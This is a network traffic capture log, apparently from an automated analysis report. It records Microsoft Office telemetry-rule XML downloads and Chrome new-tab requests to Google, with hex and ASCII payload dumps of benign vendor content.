2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a568b4a7-501e-0035-1a18-26c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-r197bdfb6b4gx6v9pg74w9f47s000000091g00000000bcep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-r197bdfb6b46kdskt78qagqq1c0000000780000000009qg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-15b8d89586fvk4kmbg8pf84y8800000007zg000000001t3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30dbe6fd-101e-0034-66db-2696ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193500Z-17c5cb586f64v7xsc2ahm8gsgw00000001v000000000np2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49724	142.250.185.228	443	5332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 19:35:01 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 19:35:01 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 19:35:01 UTC	336	IN	Data Raw: 31 65 36 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e6a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 19:35:01 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 19:35:01 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 19:35:01 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-29 19:35:01 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 19:35:01 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700273,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-29 19:35:01 UTC	568	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-29 19:35:01 UTC	402	IN	Data Raw: 31 38 62 0d 0a 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 65 65 29 72 65 74 75 72 6e 20 Data Ascii: 18boid 0};_.de\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};fe\u003dfunction(){let a\u003dnull;if(!ee)return
2024-10-29 19:35:01 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 67 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 69 65 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 6d 65 Data Ascii: 8000he\u003dfunction(){ge\u003d\u003d\u003dvoid 0\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.ke\u003dfunction(a){if(a instanceof _.ie)return a.i;throw Error(\"F\");};_.me
2024-10-29 19:35:01 UTC	1378	IN	Data Raw: 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 Data Ascii: 3dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelect

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49722	142.250.185.228	443	5332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:00 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 19:35:01 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 19:35:01 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 19:35:01 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-29 19:35:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
